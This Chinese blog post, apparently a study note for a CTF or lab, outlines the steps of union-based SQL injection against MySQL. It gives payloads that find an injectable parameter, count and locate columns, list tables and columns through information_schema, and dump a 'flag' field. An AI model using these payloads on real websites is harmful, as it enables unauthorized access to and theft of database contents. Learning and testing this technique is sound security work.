zoukankan      html  css  js  c++  java
  • SQL 显错注入的基本步骤

    又回来了,哎,感觉这块是短板,我需要花三个月时间把这块补一补。

    显错注入,从找点,到最后显名的完整流程。

    这是个流程框架,内部可能还会有一些细微修改。

    1:判断注入点
    and 1=1 正常
    and 1=2 出错

    2:判断字段总数
    and 1=1 order by 1
    and 1=1 order by 2
    and 1=1 order by 3
    直到出错,得到总数

    3:判断显示位置
    and 1=1 union select 1
    and 1=1 union select 1,2
    and 1=1 union select 1,2,3
    直到正确,或者有字符显示出来

    4:查询当前库名
    and 1=1 union select 1,2,database()
    等它显示出来

    5:查表名
    and 1=2 union select 1,database(),table_name from information_schema.tables where TABLE_SCHEMA=database() limit 0,1
    等它显示出来

    6:查列名
    and 1=2 union select 1,2,column_name from information_schema.columns where TABLE_NAME=表名 limit 0,1
    and 1=2 union select 1,2,column_name from information_schema.columns where TABLE_NAME=表名 limit 1,1
    and 1=2 union select 1,2,column_name from information_schema.columns where TABLE_NAME=表名 limit 2,1
    直到出错

    7:字段内容
    and 1=2 union select 1,Id,flag from 表名 limit 0,1

  • 相关阅读:
    mysql无法导出表内容
    mysql回收用户权限
    mysql跳过授权表进入服务
    数组forEach函数
    数组的filter函数
    无符号右移运算
    按位非运算符
    TP5页面跳转与重定向
    thinkphp5 $this->fetch()
    linux下vi命令修改文件及保存的使用方法
  • 原文地址:https://www.cnblogs.com/suanguade/p/12730938.html
Copyright © 2011-2022 走看看